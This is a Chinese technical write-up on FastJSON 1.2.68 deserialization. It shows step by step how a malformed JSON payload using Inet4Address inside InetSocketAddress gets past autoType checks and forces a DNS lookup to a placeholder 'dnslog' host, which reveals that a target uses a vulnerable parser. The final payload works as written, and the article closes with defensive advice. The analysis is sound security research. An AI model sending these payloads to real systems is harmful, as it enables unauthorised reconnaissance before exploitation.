高版本fastjson 为何畸形 payload 能够实现探测解析
字数 1673 2025-09-23 19:27:38

高版本FastJSON畸形Payload探测解析技术分析

一、背景概述

在高版本FastJSON(以1.2.68为例)中,由于对@type字段加强了安全限制并引入了白名单机制,传统的反序列化漏洞利用变得困难。然而,通过构造特定畸形Payload仍可实现DNS探测,这是渗透测试中重要的信息收集手段。

二、DNS探测原理

基本工作机制

  • DNS查询发送:探测工具向目标发送DNS查询请求,查询类型包括A记录、NS记录、MX记录、TXT记录等
  • 响应分析:根据返回的DNS响应信息分析目标域的IP地址、服务器配置和网络结构
  • 层次结构探测:通过多类型DNS记录查询了解域名层次结构和权威DNS服务器
  • 反向探测:通过PTR记录进行反向查询,获取IP地址关联的域名信息

安全意义

DNS探测是渗透测试中常见的信息收集技术,可用于了解目标网络结构和服务器配置,有效的防护措施可降低由此带来的安全风险。

三、FastJSON高版本限制分析

关键检测机制

checkAutoType方法中,autoTypeSupport默认开启状态决定了黑白名单的拦截效果。分析发现仍有绕过可能性:

  1. Mapping缓存利用:如果目标类已存在于Mapping中,可直接利用
  2. Deserializers检测:如果目标类是FastJSON内置反序列化器支持的类,也可绕过限制

可利用类分析

通过分析发现,Inet4AddressInet6Address类与DNS探测功能相关,且存在于FastJSON的反序列化器支持列表中,成为理想的利用目标。

四、Payload构造与解析过程

初始构造尝试

{"@type":"java.net.Inet4Address","val":"dnslog"}

此Payload能够成功触发DNS查询,但需要满足特定条件。

解析流程分析

  1. 类型检查阶段:FastJSON解析@type字段,从deserializers中找到对应class
  2. 反序列化入口:进入DefaultJSONParser.java开始反序列化过程
  3. MiscCodec处理:转入MiscCodec.deserialze方法处理特殊类型
  4. 字段解析:解析val属性值时触发DNS解析

关键解析逻辑

  • 判断clazz == InetSocketAddress.class(结果为false)
  • 解析器接受逗号分隔符(parser.accept(JSONToken.COMMA)
  • 验证key必须为"val",否则抛出异常
  • 解析val的value值(即DNS地址)
  • 通过InetAddress.getByName()触发DNS查询

五、畸形Payload开发与调试

第一次问题:语法错误

{"@type":"java.net.InetSocketAddress",{"@type":"java.net.Inet4Address","val":"dnslog"}}

报错信息:JSONException: syntax error, expect {, actual ,
原因:解析器在parser.accept(JSONToken.LBRACE)处失败,期望遇到左大括号

第二次修正:调整结构

{"@type":"java.net.InetSocketAddress",{"address":{"@type":"java.net.Inet4Address","val":"dnslog"}}}

解析通过但未传入必要参数,无法完成有效DNS探测

第三次完善:参数补充

{"@type":"java.net.InetSocketAddress",{"address":{"@type":"java.net.Inet4Address","val":"dnslog"},"port":0}}

成功进入解析逻辑,解析address值时再次进入MiscCodec.deserialze方法

最终有效Payload

{"@type":"java.net.InetSocketAddress",{"address":{"@type":"java.net.Inet4Address","val":"dnslog"},"port":0}}

虽然不符合标准JSON语法,但FastJSON能够成功解析并触发DNS查询。

六、技术要点总结

  1. 绕过机制:利用FastJSON对非常规JSON语法的容错性实现绕过
  2. 类选择Inet4Address/Inet6Address存在于内置反序列化器支持列表
  3. 关键字段:必须使用"val"作为属性名才能通过验证
  4. 嵌套结构:通过InetSocketAddress包装实现参数传递
  5. 解析特性:FastJSON在解析过程中会自动进行DNS查询

七、防护建议

  1. 严格限制FastJSON反序列化的输入源
  2. 及时更新至最新版本FastJSON
  3. 配置安全白名单,限制可反序列化的类
  4. 监控异常DNS查询行为
  5. 对用户输入进行严格校验和过滤

此技术主要用于安全研究和渗透测试,实际使用需遵守相关法律法规和授权规定。

高版本FastJSON畸形Payload探测解析技术分析 一、背景概述 在高版本FastJSON(以1.2.68为例)中,由于对 @type 字段加强了安全限制并引入了白名单机制,传统的反序列化漏洞利用变得困难。然而,通过构造特定畸形Payload仍可实现DNS探测,这是渗透测试中重要的信息收集手段。 二、DNS探测原理 基本工作机制 DNS查询发送 :探测工具向目标发送DNS查询请求,查询类型包括A记录、NS记录、MX记录、TXT记录等 响应分析 :根据返回的DNS响应信息分析目标域的IP地址、服务器配置和网络结构 层次结构探测 :通过多类型DNS记录查询了解域名层次结构和权威DNS服务器 反向探测 :通过PTR记录进行反向查询,获取IP地址关联的域名信息 安全意义 DNS探测是渗透测试中常见的信息收集技术,可用于了解目标网络结构和服务器配置,有效的防护措施可降低由此带来的安全风险。 三、FastJSON高版本限制分析 关键检测机制 在 checkAutoType 方法中, autoTypeSupport 默认开启状态决定了黑白名单的拦截效果。分析发现仍有绕过可能性: Mapping缓存利用 :如果目标类已存在于Mapping中,可直接利用 Deserializers检测 :如果目标类是FastJSON内置反序列化器支持的类,也可绕过限制 可利用类分析 通过分析发现, Inet4Address 和 Inet6Address 类与DNS探测功能相关,且存在于FastJSON的反序列化器支持列表中,成为理想的利用目标。 四、Payload构造与解析过程 初始构造尝试 此Payload能够成功触发DNS查询,但需要满足特定条件。 解析流程分析 类型检查阶段 :FastJSON解析 @type 字段,从 deserializers 中找到对应class 反序列化入口 :进入 DefaultJSONParser.java 开始反序列化过程 MiscCodec处理 :转入 MiscCodec.deserialze 方法处理特殊类型 字段解析 :解析val属性值时触发DNS解析 关键解析逻辑 判断 clazz == InetSocketAddress.class (结果为false) 解析器接受逗号分隔符( parser.accept(JSONToken.COMMA) ) 验证key必须为"val",否则抛出异常 解析val的value值(即DNS地址) 通过 InetAddress.getByName() 触发DNS查询 五、畸形Payload开发与调试 第一次问题:语法错误 报错信息: JSONException: syntax error, expect {, actual , 原因:解析器在 parser.accept(JSONToken.LBRACE) 处失败,期望遇到左大括号 第二次修正:调整结构 解析通过但未传入必要参数,无法完成有效DNS探测 第三次完善:参数补充 成功进入解析逻辑,解析address值时再次进入 MiscCodec.deserialze 方法 最终有效Payload 虽然不符合标准JSON语法,但FastJSON能够成功解析并触发DNS查询。 六、技术要点总结 绕过机制 :利用FastJSON对非常规JSON语法的容错性实现绕过 类选择 : Inet4Address / Inet6Address 存在于内置反序列化器支持列表 关键字段 :必须使用"val"作为属性名才能通过验证 嵌套结构 :通过 InetSocketAddress 包装实现参数传递 解析特性 :FastJSON在解析过程中会自动进行DNS查询 七、防护建议 严格限制FastJSON反序列化的输入源 及时更新至最新版本FastJSON 配置安全白名单,限制可反序列化的类 监控异常DNS查询行为 对用户输入进行严格校验和过滤 此技术主要用于安全研究和渗透测试,实际使用需遵守相关法律法规和授权规定。